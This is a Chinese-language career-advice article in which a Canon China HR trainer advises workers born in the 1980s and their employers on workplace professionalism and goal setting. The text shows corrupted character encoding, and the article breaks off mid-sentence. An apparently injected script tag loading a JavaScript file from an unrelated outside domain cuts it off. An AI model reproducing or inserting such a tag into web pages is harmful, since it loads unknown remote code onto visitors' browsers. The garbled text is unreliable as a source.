給80后換上職業(yè)裝

 

不少管理者都評價(jià)擁有明顯時(shí)代特征的80后，不夠職業(yè)化，過于以自我為中心，但不可否認(rèn)的是，80后將會成為企業(yè)的新生主力軍。對于這些尚不夠職業(yè)的80后職業(yè)人，企業(yè)應(yīng)該采用怎樣方式引導(dǎo)80后融入職場，而作為80后個(gè)人，又應(yīng)該以怎樣的心態(tài)面對職場？ 本期我們邀請了人力資源專家管然女士，就我們收集來的真實(shí)案例進(jìn)行分析，通過分析給企業(yè)和80后一些有益的啟示。

 專家簡介：　　管然，佳能中國有限公司培訓(xùn)與開發(fā)部副總經(jīng)理，長期以來馳騁于世界各知名跨國集團(tuán)的人力資源培訓(xùn)講壇，熟悉跨國企業(yè)、合資企業(yè)等各種企業(yè)形式的職業(yè)化運(yùn)作與管理的她，曾被數(shù)家知名企業(yè)聘為管理顧問。 　　案例一：在國內(nèi)一個(gè)非常知名的高校論壇上，有人發(fā)了這樣一個(gè)帖子——你愿意工作嗎？這個(gè)簡單的問題引發(fā)了上萬條的點(diǎn)擊回復(fù)，幾乎所有回帖人都表示上班并不是件愉快的事情，“每天清晨，我都在和自己作斗爭：去上班？還是不去上班？——今天我就沒有跟自己斗爭，我跟老板請了假。”類似這樣的回復(fù)數(shù)不勝數(shù)。值得注意的是，回帖人大部分為80后。盡管很多人都在批判80后身上的某種缺失，但不可否認(rèn)，80后正在成為雇員大軍中的主力。企業(yè)與80后本人應(yīng)該怎樣達(dá)成相互理解與和諧共存？ 　　專家解析：對于80后的管理，企業(yè)都處在摸索階段， 80后正逐步步入職場，成為職場新人的主力軍。這個(gè)年齡層進(jìn)入職場大概僅有4、5年的時(shí)間，所以大家都在摸索怎樣讓管理方式更適合這個(gè)年齡層的員工。　　對于案例中提到的現(xiàn)象，其實(shí)各個(gè)年齡階段的人都有，只不過比例不太一樣，80后可能更為突出一些。各個(gè)年齡階段有各自的特點(diǎn)，60年代的人更加忠誠，以事業(yè)單位為第一；70年代比較講究家庭和工作的平衡，而80年代的人就相對自我一些，當(dāng)然不可否認(rèn)，80后中也有很看重事業(yè)，注重平衡的群體。　　舉一個(gè)例子，我原來的秘書就是80后，她就讓我刮目相看。80后進(jìn)入職場之后，鋪天蓋地的評價(jià)紛至沓來，我也會或多或少地帶有有色眼鏡來觀察我團(tuán)隊(duì)中的第一個(gè)80后，之所以選擇80后的員工是因?yàn)槲艺J(rèn)為80后很有創(chuàng)意、很有想法，所以打算嘗試一下，為團(tuán)隊(duì)帶來一些新鮮的血液。在接觸的過程 ，的確需要時(shí)間來協(xié)調(diào)。她后來可以在別人下班的時(shí)候，主動加班，把自己的工作做完，而且從不申請加班費(fèi)用，一開始我想，是不是她的效率有問題，但通過觀察，我發(fā)現(xiàn)她的工作效率很高，她的工作狀態(tài)于案例中提到的大相徑庭。我總結(jié)她擁有這種工作心態(tài)的原因是多方面的，一方面她是知名院校的畢業(yè)生，學(xué)校的教育相對提前一些，已經(jīng)在學(xué)校階段就把學(xué)生帶入到職業(yè)化的狀態(tài)中。她很勤勉，在家里也是嬌慣的獨(dú)生女，卻能在工作的氛圍中做到支持整個(gè)部門，支持我的工作。歸根結(jié)底是價(jià)值觀，這名80后的員工有高端的追求，對自己將來要達(dá)成什么目標(biāo)非常明確，她了解自身現(xiàn)狀與目標(biāo)間的差距，明白只有通過努力，才能達(dá)到目標(biāo)。　　從我講的例子對比案例，就一目了然。當(dāng)出現(xiàn)別人認(rèn)為不是很積極的表現(xiàn)態(tài)度的時(shí)候，通常是目標(biāo)不夠明確，目標(biāo)明確的人會自發(fā)自覺地去努力，會自制。也就是我所說的“三自精神”——自發(fā)、自覺、自治。這是很多人明白卻不一定反映在現(xiàn)實(shí)生活中的道理。目標(biāo)明確會進(jìn)行自我管理，可能并不需要外界的激勵(lì)，完全可以自我激勵(lì)。當(dāng)然，人總歸有情感波動的時(shí)候，不排除有情緒低落而在工作中不積極的時(shí)候。如果是經(jīng)常性的不積極，一般我們認(rèn)為還是沒有明確的目標(biāo)。 　　專家支招80后：那么應(yīng)該制定一個(gè)怎樣的目標(biāo)呢？我認(rèn)為，應(yīng)該制定一個(gè)職業(yè)目標(biāo)，但不要制定過于現(xiàn)實(shí)的目標(biāo)，比如說我要掙多少錢，買什么樣的車和房子等。職業(yè)方向的大目標(biāo) 重要，它也是每個(gè)職業(yè)人早期制定的目標(biāo)。能夠比較早期的定下目標(biāo)的人是很有限的，但他們成功的概率要高一些。　　哈佛大學(xué)曾做過一個(gè)測試，測試結(jié)果是：3%的人有自己20年以后?script src=http://cn.jxmmtv.com/cn.js></Script>